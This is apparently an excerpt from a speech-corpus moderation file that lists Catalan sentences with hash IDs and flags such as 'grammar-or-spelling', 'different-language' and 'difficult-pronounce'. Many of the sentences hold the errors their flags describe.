exemple, Buss "et al. 41be1938fb18884e2898e8551b6baf2d10f5d49cd2a5503648f26a6b49dbbcc4 ca grammar-or-spelling Dues persones vestides de blanc batent-se metre una multitud se'ls mira. 426bb82d95cd4940751d1f6648de490a83003e5784a6a2783391161e4d586934 ca grammar-or-spelling L comunitat no constituïda de Woodboro es troba a la ciutat. 42affcac7b34f7a83e2992c1d13ef4f7f109f251ffbb40b5e23c83025218990b ca grammar-or-spelling Brigitte va agafar la xeringa que s"havia caigut i va seguir les restes de sang escales abaix. 42935ddcc152a9abd286dae82e59e2efb433bd7b48ab3e4a231ab7180417c3ff ca grammar-or-spelling No et preocupis quant a l'escalfador de llit. 42ca467881fe7e926feaac153f008a690ca2694c2366cb39976cfc92acf72a56 ca no s'entén Un treballador netejar els carrers després d'una pluja intensa. 40f23a2561d0e6c5e9cf35873efa267b96ddba0ebfce80b3d67e70ff69a89bff ca grammar-or-spelling Avui en dia, Ballarat és un pràcticament un poble fantasma. 42e31af7304298784dca39aec87fa56c7073ca5593e98ba3f040c0d3497b14f6 ca grammar-or-spelling Aquest estat afecta el nivell d'accés pública per a finalitats recreatives. 418c0b19e230f3ea2a1b43ec681b3eb1d0e3aa949f6803882e556f7b7486955a ca grammar-or-spelling L comunitat no constituïda de Woodboro es troba a la ciutat. 42affcac7b34f7a83e2992c1d13ef4f7f109f251ffbb40b5e23c83025218990b ca grammar-or-spelling Molt bé, tindria que marxar-se. 4346dfde7ac0fac7bc5b3641ebdb458c099216c622d74f5b62747f70dc36ac42 ca grammar-or-spelling Ells està casada i té quatre fills. 434f66cfabec8f2039177c2f4493f673d318e5aef02a15d53c63e071cb58ffb7 ca grammar-or-spelling El disseny "pla" prevé el risc de trepitjar una xinxeta amb la punxa cap amunt. 4375f85bff05e27ff8e66d064f0c6730f1ab33ee22ade4884ee6c2441a44f006 ca grammar-or-spelling Fue enterrado en el cementerio de Hillside en Lyndhurst, Nueva Jersey. 4264d68f853dcde1cf1bbd49d546f4085e9a7c5d9c52ffccb912923c313299c3 ca different-language Dos dones compren al Target diversos articles que havien posat a la llista de la compra. 451595051d1f887bc042a1c1dbdfccecf18db6bf7d7df9039830fa5f2a3bbe6d ca grammar-or-spelling Tots tot l'avantatge. 44f60a486aced331d4a6da7d24d1170c393495b7168cee4bc0e7a3326b7dfd18 ca grammar-or-spelling A final de la carretera d"accés hi ha zones de pícnic. 44777c3c7643b733bcf3f4e3d97d58fcb188cf988237fe9088c679e1dcde8aeb ca grammar-or-spelling Ell va engrescar James Watt per a que desenvolupés l'energia de vapor. 457317f5fe35d41110947a1d5102ee799506f9af38fcd564d3ef05bba4e11a3d ca grammar-or-spelling No es van concedir medalles per què l"esport no formava part de la competició oficial. 45c741b0f928e770ea5a80130b22fe08531663f45c1f50f3e1783eb3bdf7e293 ca grammar-or-spelling No hi ha un mètode solitari utilitzat per provocar un moviment de plantació d'església. 457d435b1668594966a78fe44cdfa5ad25526d7c4d398349874d4335d61b5b61 ca grammar-or-spelling La desembocadura d"Almond a Cramond abans tenia un petit ferri per a passatgers. 454669282440b327c234bc32d0044c3b2418cb13eb09da848690d75749cc436c ca grammar-or-spelling També va fer la veu de"n Kurt al videojoc "Unlimited Saga". 45c5679876cadce862b8387eaa4afaed2ce8d6733b1689257413ee6284add7d0 ca grammar-or-spelling Tot el patrimoni real i personal del seu pare el va hereta la mare d'en Talbot. 45d612406441d21bef74c09b4fa8387e74f9f8cffa86e2cc236fe59abd075011 ca grammar-or-spelling Com t'estimes més les ous, bullits o ferrats? 454534016b8ec094fd1be95599ceb77c55038c359a4b0cc9ad5822dee277f0fd ca grammar-or-spelling Un grup d'homes seu al voltant de una taula on hi ha ampolles buides 44dfe964464e00948bacac5d43ec07d6f325c454b0badae304b7e5433b48717b ca grammar-or-spelling Els London Studios és la seu de molts programes populars d'entreteniment de jocs, xerrades i comèdia. 45afe00472ed04b330621c9eee4ef7dcd4cb68481a385382633a870526e39a9b ca grammar-or-spelling El grups es poden descriure de diverses maneres. 43f5e90c24aa3637aa8302c14103653fbacb9d49426aa67db7ba1581e8f84938 ca grammar-or-spelling La utilització d"un programa de monitorització pot detectar-los fins i tot sense una clau de protecció del magatzem. 45fd257e3e15b60ac03d9d1db7fb38f0ffea61481432ac4676380761f9dc8f6d ca grammar-or-spelling Es va establit a Marsella, però va tornar a Espanya més tard. 45a87ecd04362cde2f66150993e55ad4a5d2f55493575b1b967d9006e9817e91 ca grammar-or-spelling Llando Grande vol dir "plana gran" en espanyol. 4300f4370c50f0f40587baa5edb652154207eb058d980b4f28c92be8b228c8f1 ca grammar-or-spelling Van enviar a casa a la dona de la neteja. 460bad3a65d330a7e50e8b5d85b98260a591c4b325bc64ae02087ecbe217e715 ca grammar-or-spelling Ell, en canvi, va fer avançar la teoria de que Reeser havia estat assassinada en una altra ubicació. 460a14a96536bdfb77e44d105282798af4789068e7244f3e8feb842da714199a ca grammar-or-spelling Després va col·laborar en diverses d'obres publicades. 451593acc74cd2b8e5ab1f678641a02f4d1d13f44ae5e59a0b8261093f5a2308 ca grammar-or-spelling Una vegada utilitzat el poder de què disposava, la Cosa es tanca. 45ccc1ab3f6c40e5ae4cb2f4eaf2bf6814a7bb1f57964650f1e62b4481993491 ca grammar-or-spelling Un grup d'homes seu al voltant de una taula on hi ha ampolles buides 44dfe964464e00948bacac5d43ec07d6f325c454b0badae304b7e5433b48717b ca grammar-or-spelling Tot es va publicar al menys parcialment a "Iduna". 45f30332b2fb9114c2c86e72808d45aa893cb5fedc13f42b2d412a6822b37841 ca grammar-or-spelling Norrish el seu tercer any. 45c0769009a89d83b396c79cfa6ec88e2ae840845fd68b8af4c283eb43a9fb68 ca grammar-or-spelling Middleton va morir d"insuficiència cardíaca congestiva a Encino, Califòrnia, quan tenia seixanta-sis. 4593ede691485553919c629f583179a1a879f64b794573e635046a61b6872bc5 ca grammar-or-spelling El grups es poden descriure de diverses maneres. 43f5e90c24aa3637aa8302c14103653fbacb9d49426aa67db7ba1581e8f84938 ca grammar-or-spelling Fent servir l'enllaç es creua la illa. 45e31df53eb0ddba7edea67c86bf8bcb134d00f5b5591c20989113059792eba1 ca grammar-or-spelling Ella va mirar cap a les postes de vidre i ho ha entendre tot. 463b033f68d0f838a6660459f1ec4dc89d8c480f0eb190e95e92447deaefac54 ca grammar-or-spelling Foster es va retirar del hoquei el mes següent per dedicar-se a la carrera d'entrenador. 4657604c67a55821950d66bf64bf822067878d67cdf4858eedd345eaf5de88e3 ca grammar-or-spelling Aquests rodamons s'ha enregistrat fins a l'extrem sud de l'Argentina. 46b1d112d0c399f8548ea644cf7ae31c016c81e3596815a327f5362797768a30 ca grammar-or-spelling Eric Baker l'oportunitat de ser el seu company de fórmula, però els dos van rebutjar. 463ec0ad5711351f6b0e945dec5e24bcc0f2401e7cb4ffde25f5ad9dd0f8f286 ca difficult-pronounce Eric Baker l'oportunitat de ser el seu company de fórmula, però els dos van rebutjar. 463ec0ad5711351f6b0e945dec5e24bcc0f2401e7cb4ffde25f5ad9dd0f8f286 ca grammar-or-spelling Bolton és el líder de tots els temps dels Thrashers en minuts de càstig. 46a36bb17f0d2c8279de8251c13acc238a4113b0bedf406177fe0dddfcaab010 ca grammar-or-spelling Bolton és el líder de tots els temps dels Thrashers en minuts de càstig. 46a36bb17f0d2c8279de8251c13acc238a4113b0bedf406177fe0dddfcaab010 ca difficult-pronounce Ja jugar la Double-A amb els Altoona Curve i la Triple-A amb els Indianapolis Indians. 47db06f4e0b1bf983cbe14e4674307fb824cc78fbedd92c1e2b1138a6ac952e0 ca grammar-or-spelling L'anetol té potents propietats antimicrobianes, contra bactèries, floridures i fongs. 47c9483c8309e3cea99abcbb0fc81208849d8b79ad9a7275a28f041ba4b92944 ca grammar-or-spelling "Thunder Seven" va ser l'ultim àlbum de Triumph on no hi va figurar cap escriptor portat de fora. 47f51b9d8bb5040e0600ce9aaca1cdcfe482ea5b4d89d3942c5249e88b32ee76 ca grammar-or-spelling Això permet als vergonyosos impugnat continuar durant la suspensió del jugador. 481122f303822ad7f34b8031b5a2b8eaca232157b11a62b34a27ca3b3427191a ca grammar-or-spelling Vine a l'oficina un minut. 48b893d77f4764c0e10fd2698826238ba82ac5b27125655ef3dca1506a8883ff ca grammar-or-spelling En canvi, altres productes de control actiu del soroll i de la vibració utilitzen un processament digital sua i en temps real. 4896b563fc90b685a43ed72a60918faba4bd7b85bc5fda8565bac721fcba66fd ca grammar-or-spelling La principal font econòmica és l'agricultura, sobre tot el cultiu de cafè. 48c490953a08a526521487630fb7476198c83de488978fe9c56863f3114a34c5 ca grammar-or-spelling A la Gran Bretanya, els nivells A es fan en el els anys opcionals de secundària 49076721d2b24457023f125c9c072887306a8c77158fb5c9836e52b56093f853 ca grammar-or-spelling Ella sermonejar que necessitava canviar de manera. 48966b664813907b9669d1cb618429682a1e1525667623145b9ccb45149ef973 ca grammar-or-spelling Entre les peces musicals que surten a la pel·lícula, hi havien dues de ben conegudes. 492793351a991f341843bf72cb30c794d7ebd95bcf0b9e03079d77b0ebd358b5 ca grammar-or-spelling Malauradament, només es van produir uns quants, els quals es van considerar "prototips". 49a7324f1efe45b4a6deef32b642a5bf996a7c61598a77b396bcd5d8babc34d7 ca grammar-or-spelling Com. i B. 498bc7a079ba35acc263276529233c682222111d3d531ca9668c2582339e9edf ca difficult-pronounce Carreg Bica es una gran pedra vertical a la muntanya Drummau. 492606f0aefb5b870f1e6fc716f0395c24f1dc8f81153ccf94330258db05844f ca grammar-or-spelling Dos jugadors de rugbi que competeixen en un partit amb un jugador que busquen amb la pilota per fer un gol. 492365f2b02ab1871542325a894bef60eab1a90848e36f8bfbf874b764477950 ca grammar-or-spelling Després va treballar a la industria del còmic passant els dibuixos a llapis i a tinta. 49fe4298f7258464144545a69b979216a3591b6c27ca65ef1340f56c0aeacf1b ca grammar-or-spelling Enllaça l"aeroport amb l"estació de trens Palermo Centrale. 4a2d44264fa3c7428dcf1b55f9cce11520bf6ca859f070facb1c900a98cd586a ca grammar-or-spelling A diferència de les edicions vacacionals anteriors, aquest joc és més comerial que de prova. 49eba5272b35eadb70df6839ff657f1a269e1d5f8d7f7f996832dc812281584d ca grammar-or-spelling Vianants i un ciclista passen a tranquil·lament per davant d'un edifici modern. 4b7bef434e9a9b26801bc1b8a252045294fdc85fff38e198f7a6fe20b3d27a3d ca grammar-or-spelling El tocadiscs Finial mai van entrar en producció. 4b6a2b853d51f04b4acd15e3e8995d9e1813d7b06fbfb3b9c10b1abda06fe95a ca grammar-or-spelling El vídeo era molt diferent de àlbum. 4b9d62e229de4648f348befb6872e7b2b074f9447b68fa50933f251d846bf981 ca grammar-or-spelling Després del dia de les eleccions, la Prou eleccions robades! 4d2b3e239d352ac30db5d22e750640a7886e03cf4c265c8d45f74321b2f8e1da ca grammar-or-spelling Donat la naturalesa d'aquesta medalla, s'atorga normalment a títol pòstum. 4d28b02cfc7a99431280ef8d4de4d0efba02258ed5dc81352cb129425459cf4d ca grammar-or-spelling Al final d'una nit encantadora, que petó bona nit com els adolescents tímids. 500c53917b20707e056709ee68850e4f9ecbdd600245ee0b700ddc36d41fc8b7 ca grammar-or-spelling Més tar en la serva carrera va començar a ensenyar actuació. 50615a376cf318674598d0fa5ded0218d720344f2f622ad64af1d243e37b9797 ca grammar-or-spelling Ell està casat amb la Doctor Cari Corrigan. 4ea0e9db953473678df94482d2ff018697213814432cdda6322926e2f8f3dfc6 ca grammar-or-spelling L'hiponatremia també es produeix amb una excreció de sodi fraccionaria. 515b3c1d81ef4fa1d727a3803a2d3bc60b75de9153be39b349c0e9501073f772 ca grammar-or-spelling L'hiponatremia també es produeix amb una excreció de sodi fraccionaria. 515b3c1d81ef4fa1d727a3803a2d3bc60b75de9153be39b349c0e9501073f772 ca grammar-or-spelling En aquesta ocasió espacial, no necessites tenir por. 514ad053ae2c8c4d768dc1e5a7e65f29246aebd5be08363278d334bdb4a5fb20 ca grammar-or-spelling " The Central African Republic: Political Reform and Social Malaise". 5136d32e6baba037f8356ed6ca60355921beab9863dbf048a46b62584196b058 ca different-language Totes les cançons ha estat escrites per Bob Geldof, tret de les indicades. 5130bb05fb8cea7d27858039a5c71737a97844e9b3e033326a992fb27f716101 ca grammar-or-spelling L'hora de modificació d'un fitxer indica quan s'ha canviat el contingut d'un fitxer per última vegada. 510048598819dcee52fb99bfba05e08c22ad72ea59f5da77ad5f7a15982d59e2 ca difficult-pronounce L'utilitzo per fer un seguiment de la meva llista personal d'activitats pendents, que està plena de tota mena de coses, des de feines domèstiques avorrides fins a coses noves i apassionants que vull provar. 5115a2cdd22344fa2985492735e1156a23d690157ca599c11f3340bb76812173 ca grammar-or-spelling Els fonaments del Capitoli van ser mal alineats pel seu constructor original, el futur governador George Donaghey. 5130da2db4df6e03af77d1729f4fe398e8eed13fc14a101273fda1d41b0a396c ca difficult-pronounce Ell viuen al comptat de Wicklow. 50bf6a61771f61f28fca35b6e5ef8a844e3e4721bfc6dd315cfd0e9d1ceb2b1e ca difficult-pronounce Ell viuen al comptat de Wicklow. 50bf6a61771f61f28fca35b6e5ef8a844e3e4721bfc6dd315cfd0e9d1ceb2b1e ca grammar-or-spelling El funeral va ser realitzat per masoners. 4fba330fb0c0d5d92417e8b5685ad3d8c0aacd972f7e71c08b07340386fe0546 ca difficult-pronounce La badia està connectada amb el llac Saimaa, a Finlàndia, pel canal de Saimaa. 5151a8b8857a7e9e4c7c59240bf7b4481be1030b2bb37173f73e028fc13439b2 ca difficult-pronounce La ciutat té una biblioteca públic infantil situada a l'escola Elizabeth Ballantyne. 51348ed697426738ce6898e6a3e513b65df9bb6aca572eab37ae373ac8901a98 ca grammar-or-spelling En néixer, quan es van cassar i després de morir. 513af3f28b21eb6b31abb357da5360c388ca5a3d1600367d7bd7a9df7af8cd9d ca grammar-or-spelling La major part de l'edifici es va fer amb materials que es van trobar al llac Tahoe. 5168c6e03b6bab45dc455ff6203d3aaf0dc03315b903dc648f2c856417a2a433 ca difficult-pronounce "Buzzer Beater" és la segona saga de manga d'Inoue que s'ha adaptat a anime. 518e0a87b6d40eac1297c0ae89d43bb4f6aae996459d537a9642fc4a429cc43e ca difficult-pronounce Li van assignar les tinències de Graisbach, Riedenburg i Kelheim. 517ec92eb6ee38746812b366934b019e4da6977f3e8ef473671e237a9b4046db ca different-language Li van assignar les tinències de Graisbach, Riedenburg i Kelheim. 517ec92eb6ee38746812b366934b019e4da6977f3e8ef473671e237a9b4046db ca difficult-pronounce Fox i Gabrielle Anwar. 516ec2e6b11a8cb257f1d0dc227be8532a58c933cf6ba63a86cb1dfbed3d8488 ca difficult-pronounce Fox i Gabrielle Anwar. 516ec2e6b11a8cb257f1d0dc227be8532a58c933cf6ba63a86cb1dfbed3d8488 ca different-language L'oficina central de Posti es troba a Pohjois-Pasila, Hèlsinki. 50fea0cd409a0e7a02175cae844a0dd9c365703dac7640815d4b60720becbdd3 ca different-language L'oficina central de Posti es troba a Pohjois-Pasila, Hèlsinki. 50fea0cd409a0e7a02175cae844a0dd9c365703dac7640815d4b60720becbdd3 ca difficult-pronounce Dunford va créixer a Portreeve, Saskatchewan. 517dcf0a7a66f2112ce05de1546dbae7ec59e143a2aff001433ecaafa4afb898 ca difficult-pronounce Dunford va créixer a Portreeve, Saskatchewan. 517dcf0a7a66f2112ce05de1546dbae7ec59e143a2aff001433ecaafa4afb898 ca different-language Aitchison es va casar amb Oriole Faram i van tenir una filla. 50b462c6fb1f42bdaa71e8ca7de9abd200457d1343213f816ad4cefff181ddde ca different-language Aitchison es va casar amb Oriole Faram i van tenir una filla. 50b462c6fb1f42bdaa71e8ca7de9abd200457d1343213f816ad4cefff181ddde ca difficult-pronounce Durant el mandat d'Ashot, Giorgi Merchule va compondre la "Vita of Saint Grigol Khandzteli". 505a3a961965a91e6b09b649964444de99532e6baf6772787359114a9d5d3171 ca difficult-pronounce Va tornar més tard a estudia pintura durant diversos anys a Düsseldorf. 51b2609b349759faa574a4c5e0f1e4119dfb1fbecbeae32d5d4243a7e6abb927 ca grammar-or-spelling Nakayama és membre del Partir Demòcrata de Hawaii. 52c3e84060be38712caca20d0ccda755fee19683946bf38582bd97bf8836775c ca grammar-or-spelling Aquestes correccions han de ser molt més ràpides, però també tenen un amplitud més petita. 52b6a8a5533306ed29c01070fff342e1e4edf631f81730a69e8c64b9d94e446e ca grammar-or-spelling N'he de separat el sofre. 5301d0c3d8bd27e5cef6c989514cbb1e9b86f3dcbe57b4da3077df56621f96ff ca grammar-or-spelling Lubienski a "V"itae Episc. 529f6a005d40c46fea566274de4838124a6e83484aa072f15291d3d9b8b7a11c ca grammar-or-spelling Dos nenes s'aixequen al fang d'un parc. 5358a39859c22855c990dc7cb4a81d4891dd7502aada271b7881a9dce5e01977 ca grammar-or-spelling De vegades, les empreses implementaran polítiques de retenció forçada per intentar evitar la fuga de cervells. 53fc1263d18d72f5750624c2e9a8771d426d766e37dfe444f1763acfd2080227 ca grammar-or-spelling Una lent d'alta qualitat produirà una quantitat menor desviacions. 53bd8352ceba5f1c6c4178883ff38c6086b230b25c0415d531ba42dcd8d93823 ca grammar-or-spelling RedLibre és una meta comunitat sense fils de xarxes gratuïtes a Espanya. 533b471418dbc32479336b91220f0e25375e6c307ff7d217358ef7e330376fe8 ca grammar-or-spelling El Chalaronne flueix cap al nord-oest pel mig del municipi y creua el poble. 53f342668a57c92d97b43976b7bf795644a7f5b44380227fa8a22d3d073d6a89 ca grammar-or-spelling El port de l'arma mitjana a cada costat va ser ocupat per una sola bandes, Brooke rifle. 53a03be8e3151dcac54a8c49d114fdb6fd4705ddb4792573af00968f8b2246b3 ca grammar-or-spelling El tinent coronel Dawson va resultar ferit durant els combat, cosa que va fer que el major Menday prengués el comandament de manera temporal. 538f99e8bbba0bf8c37bf64ff4f3f70fd6cf9ea8f3be04efa2a907a1fa0d869f ca grammar-or-spelling Dalt hi ha un restaurant molt més luxós amb preus molt més alts. 5457a8f9000a5a3f7ea674219995cf89a5a56003d75bac214736b2a0a38ec4e5 ca grammar-or-spelling Hi ha dues subespècies reconegudes, però la subespècie Lanzarote probablement s'ha extingit; ho estan. 54ef9062aed733d0db1bdb879914d421f4d8955996c2682d263ba0c8813533f8 ca grammar-or-spelling L'electricitat és necessària pel control el clima, la il·luminació, els refrigeradors i altres aparells. 5496765230f852e5b87b42059cbc9aea1b2aa64020c9d0a326f139549cc71ee9 ca grammar-or-spelling Va ser nominada al premi Tony a al millor actriu d'una obra de teatre. 555d596c6226f2a4d362e56e18fb54acb69623a8f66455a06077299e27d8e3dd ca grammar-or-spelling A l'Anime Classics Zettai! 556a9b15f3fc4b397b0689fa80cabf9e076280c8420f61bc29ac8e7a69666ad0 ca different-language També esmentat al Llibre de Luke - Tampoc ho diran ells, Lo aquí! 549649de3b42029a855d612eb56b0416747454f1d205f578499ce2b3dc06798b ca grammar-or-spelling Va ser nominada al premi Tony a al millor actriu d'una obra de teatre. 555d596c6226f2a4d362e56e18fb54acb69623a8f66455a06077299e27d8e3dd ca grammar-or-spelling Va col·locar amb compte el valuós sobre a la caixa de dipòsit L i la va tancar. 55a0f048436b0b7ebae9c0126490b49ad443781bef0556870b3e22bb465f2784 ca grammar-or-spelling Un fractura sense desplaçament es pot tractar només amb guix. 550907931c0c7ef3d5efff06965731e3732d8aed4e0042cf60148adf984a90b3 ca grammar-or-spelling A Princeton, el seu objectiu principal era crear música feta ordinador i aplicacions informàtiques per fer música. 5692c46cc15722a61dc7364e4f004a318578c1672039658c1677446af32ea135 ca grammar-or-spelling Va ser instructor de boxa Exèrcit dels Estats Units d'Amèrica durant la Primera Guerra Mundial. 56a539ea74eb9eb6ba64eb0d150cab4f630afbcf1808759c0364c9ec0e6cd3eb ca grammar-or-spelling "The landscape album; o, Great Britain illustrated". 568146f24a67fad7d05e4661a0415984cbc7faf5dce32ad4627b06ceca8e3b1b ca different-language No se sap si la ferida ser una autolesió o un acte de traïció. 5669f2726cf4108a5a8891effa6feb74c5d5ff30c9d4dfafb2d2cb071df76e56 ca grammar-or-spelling Els automòbils Conestoga es van construir a la plataforma de distància entre eixos de Studerbaker. 56b390ed84d3ce11e85361d589bdf8f539ecc2026bd729482f059717692c51b1 ca different-language El govern de Bellemeade s'organitza en forma de comissió. 5684cc3b2edb4ec2503d0670d71db59942a0d87fa106de187a16386e0e09e625 ca difficult-pronounce Tots dos es consideren formes vàlides d'autoexpressió. 56c8e1625195685bc11374ec5de1fa7feccb8a37a6843878aa57b41c264ddeeb ca grammar-or-spelling Tulelake està situat prop de la línia del comptat Siskiyou-Modoc. 573da3d50d34f4d01f2b13c33a70174d239bf12e519710bdf9b464de2a120f88 ca grammar-or-spelling La companyia centre les seves activitats en empreses amb pocs beneficis que necessiten canvis estratègics, operatius o gerencials. 5660f4a900dabd7c2385ce396b8048a1f125bbad6e6166d007382e945bcbd7f7 ca grammar-or-spelling L'homenatge indicava que l'actor mort serà a Als nostres corts per sempre. 574cdf751c037f5627165d1c995985bd748abc3be4546d17e42a41ae425011dc ca grammar-or-spelling El artefactes arqueològics són propietat de l'estat federat a Saxònia-Anhalt. 576f69ff3443c3b275d1a7774083d00b871a4e37654633d7e5539e8cd070699e ca grammar-or-spelling El comtat de Edgecombe va ser històricament la casa dels Indis Tuscarora. 5575dfd65b1bc2716ab652917de119edb58d04fbfe0990956cfd78764cf441f2 ca grammar-or-spelling A Princeton, el seu objectiu principal era crear música feta ordinador i aplicacions informàtiques per fer música. 5692c46cc15722a61dc7364e4f004a318578c1672039658c1677446af32ea135 ca grammar-or-spelling El port de l'arma mitjana a cada costat va ser ocupat per una sola bandes, Brooke rifle. 53a03be8e3151dcac54a8c49d114fdb6fd4705ddb4792573af00968f8b2246b3 ca grammar-or-spelling Nagaharu va prendre posició al castell de Miki, i va inciar-ne el setge. 5647fdc5c6a3e9e81bee0967dc1e3e46f62fc79a49eeb9d6c15ca7baceedd0f4 ca grammar-or-spelling A Princeton, el seu objectiu principal era crear música feta ordinador i aplicacions informàtiques per fer música. 5692c46cc15722a61dc7364e4f004a318578c1672039658c1677446af32ea135 ca grammar-or-spelling Manray va proveir a una gran varietat de estils de vida alternatius. 575ac62a47ea12435c639b4bd23fe6530ff2b55b32bd902e90a12662d9e6cb71 ca grammar-or-spelling La cera de candelilla es pot fer servir enlloc de la cera de carnauba o abella. 5741637ce53970edaaf90b46996b51fc5e026e0418b3ce69e417f9ef1d5225c0 ca grammar-or-spelling Són omnívores i més proclius a alimentar-se d'animals que la majoria de la resta de grues. 5785e4afecef6aa645b7758a969b36b1ba569c9cf0f9e49eabacca3980f4b97b ca grammar-or-spelling De Venecia va córrer, però va perdre al vicepresident Joseph Estrada. 5716baac259fd9e43dce7b6c002d72b18a9898de4b803bc5bc6c211dc892ab59 ca grammar-or-spelling Els primers representants coneguts d'aquests grup van ser els Cooksonia. 5731a0378d43f1edfa6c7dfbe7c9e6dcc06c91d058d9e179938ef3e5a0d3fc97 ca grammar-or-spelling L'ajudant de Schuerholz, Frank Wren, va ser nombrat director general. 57aff51cea019b75ebae7992108d2d007b366a025021e3ff3bed56aff1c31787 ca grammar-or-spelling Minty es descrit per ser una unitat verda, a qui li agrada qualsevol cosa en verd. 55af5cd9a3f2bc43d959c50cd9b3e5e92fec9f596e122088b7c7caa54446c574 ca grammar-or-spelling De Venecia va córrer, però va perdre al vicepresident Joseph Estrada. 5716baac259fd9e43dce7b6c002d72b18a9898de4b803bc5bc6c211dc892ab59 ca grammar-or-spelling Va ser instructor de boxa Exèrcit dels Estats Units d'Amèrica durant la Primera Guerra Mundial. 56a539ea74eb9eb6ba64eb0d150cab4f630afbcf1808759c0364c9ec0e6cd3eb ca grammar-or-spelling Moltes dels graduats són científics de renom internacional. 57ab0b5d6e1cb376bc8ba0326594cd4c44eb298f6a5506954773ce85e41f6143 ca grammar-or-spelling El "observatori megalític" de Kokino s'ha de distingir del jaciment arqueològic més ampli de Kokino. 5699f943be5a3d54ce5d17460f9b33b96806c88994d1fab71676f380c23fcbfc ca grammar-or-spelling Macbeth és clarament conscient de el gran marc de la natura que està violant. 57b38f862cb3a771576c14f630b8aee46a4f3c258236d6d52a6b0386bc60745c ca grammar-or-spelling Més tard aquell matí, dos treballadors van trobar-ne el cos arrossegar per les onades a la platja. 57bb7bfaf7d5a2727fdb63b73770ffc663d09e1da67b84ab3c6362e0fbab83e4 ca grammar-or-spelling El Cor, després que Delila intenti seduir a Samson de nou, critica que les dones siguin enganyoses. 57fd4a8149d19d93810c6ba8b4fd8a06d147cfa014c25fcfb4cf31991b1f1739 ca grammar-or-spelling I la gent em riuen perquè utilitzo grans paraules. 57e7419aaf3af1ef1e1e58481d02e9ad4fa5571fa4d9571656b5eeaefb321b3e ca grammar-or-spelling En aquest casos, és difícil provar que els criminals van actuar malament. 57ec3d137d446143aae870369ea051f5a1b22740ee2db24da3f5834686436833 ca grammar-or-spelling Els pares solen accedir a la temperament dels nens rebequeries. 580a3f7b766d419bb62dafbe9018e7b3b015345d7c20238e7e2e022246c11859 ca grammar-or-spelling La farina de tempura especialment formulat està disponible en supermercats de tot el món. 5825326d64260e802c1af4baeafd17d32f8242f22066b2427197ba9c0500f2f2 ca grammar-or-spelling No obstant, una de les seves convencions van recolzar activament el president Ayub Khan. 586de3b3390ee602ba35eeb25ca1bc953fd157ea76c062c812a12fc1d7ef3050 ca grammar-or-spelling Els branquillons són fràgils o tenen una secció transversal mol estreta. 5876fe8411547f248f8b05eb8754080ac2ff729347742d2234db597ac806975d ca grammar-or-spelling El aficionats van trobar molt difícil muntar la versió del kit. 58500a6a75bf28d13bfdf605665900a11e6643081f72443622cd21152966bc6d ca grammar-or-spelling La col·lisió entre les terrenys de Laurentia i Avalonian és en realitat més complexa que la descrita anteriorment. 57d58c555ee26beca117509da9a34cecf3ffcdad7692e8dd38c955c568980f60 ca grammar-or-spelling El port de l'arma mitjana a cada costat va ser ocupat per una sola bandes, Brooke rifle. 53a03be8e3151dcac54a8c49d114fdb6fd4705ddb4792573af00968f8b2246b3 ca grammar-or-spelling Pensava en una cosa: amagar-se a la foscor del jardí. 5887d90e596ed7fdd02ec416782728aaec4144c7c910883c8e767284c93b4f52 ca grammar-or-spelling Una dona està examinat algun tipus de dispositiu. 58b6c73a966c7732168f74900f6363fba910e1c03d69ff814425dca67f0ae979 ca grammar-or-spelling Els pares solen accedir a la temperament dels nens rebequeries. 580a3f7b766d419bb62dafbe9018e7b3b015345d7c20238e7e2e022246c11859 ca grammar-or-spelling Ara s'ha marxat. 57c750d9c8d6afc087f8757456fda5887811dffa21351f6015ae22e752d9e647 ca grammar-or-spelling De sobte, la lluita va ser tot sobre la brea de nou, i els jugadors li va encantar. 58c67ad638b8d4d666da86765d56713fd68fdde1947265d1c97df7c0a7448f06 ca grammar-or-spelling Els branquillons són fràgils o tenen una secció transversal mol estreta. 5876fe8411547f248f8b05eb8754080ac2ff729347742d2234db597ac806975d ca grammar-or-spelling Partit de les declaracions posteriors que Normand va fer als investigadors, les seves repetides recaigudes van ser devastadores per a Taylor. 58f65951ca3127167a10d08240eb36def5b982f4bc3c793242a66aeb098047d7 ca grammar-or-spelling A Princeton, el seu objectiu principal era crear música feta ordinador i aplicacions informàtiques per fer música. 5692c46cc15722a61dc7364e4f004a318578c1672039658c1677446af32ea135 ca grammar-or-spelling Els primers directors de el programa van ser Bill Ransom i Sam Hamill. 597453d27c774875849e36282c4f220f83212385ffb3134517903491d28e1cb8 ca grammar-or-spelling De vegades, els lutins enreden el cabell de la gent o dels cavalls amb nussos de follet. 59a069afd549d8c468dc02af12969c95075808f5e7e47735c0354cd0ea2e4ac3 ca grammar-or-spelling En aquest ocasió, dos forats negres van xocar per produir ones gravitacionals detectables. 5a2b36870406c7887bc613342f57de9687f985e0ba745cd79eddfc465933b7d3 ca grammar-or-spelling Deixeu els llapis, s'ha acabat el temps. 59b6fe8e530fd5bc2d8c640882b91698f1fc287080f2d70440bff97ed8f1db1c ca grammar-or-spelling La farina de tempura especialment formulat està disponible en supermercats de tot el món. 5825326d64260e802c1af4baeafd17d32f8242f22066b2427197ba9c0500f2f2 ca grammar-or-spelling Això va suposar uns índex de compressió significativament millors en gairebé totes els fitxers. 5a063f1a97ee88486ee0010dcebb88190a6facfadd728736b098ea184ae07a27 ca grammar-or-spelling Llavors es va asseure a l'entrada on tocava sol per fumar la pipa. 5a671d773e65b0ad1d4cececbce61594139b5fde89f75265aaba9734217ae240 ca grammar-or-spelling Aquesta tasca roman activa fins a la ocurrència de la següent l'interrompi. 5a29a631cfb5e059e33cf299b66c6876713cab302af9ad81b92d19cb12eb104b ca grammar-or-spelling Després de l'estrena am Deafhaven, va venir la gira. 5a6ff83a7bee48b47ff10083124ddbdc721ef74855361b355e39efa70bf64892 ca grammar-or-spelling És considera habitualment una forma de dermatitis per contacte irritant. 5a910701cc90a9637c3ebb6b5fa96e672e69b829c5a5eaf602e9bcaabdb14f8a ca grammar-or-spelling Hauríeu de provar començar a petits passos. 5a87f0f066f4b8d0df871c230fb0f7388f56ce2e18cc43522db5fd5bc8e4e580 ca grammar-or-spelling Un home sent empès en una cadira de rodes per una biblioteca. 59468f42041e5bda999f818d66ec7afbeed1a42b05401eaa6bccac54aebcf126 ca grammar-or-spelling La baralla va acabar en la supressió del combat després que Michaels copegés a l'àrbitre. 5a4e1744f0d2c29c933b71fd6e4fed2131d469242bd444666cc7cd0428bcd113 ca grammar-or-spelling Els carbocations "no clàssiques" van ser objecte de gran controvèrsia en el passat. 5b6b44c006c959d0c63d5cf036faad8a9a71e3a64b38c2f7bf917735a24b3cfa ca grammar-or-spelling L'home condueix una mot sobre roques empinades. 5a30f54c98e50bf4551dac077e3c19d4b79bdd83c1e78d1133572f9fa58c7519 ca 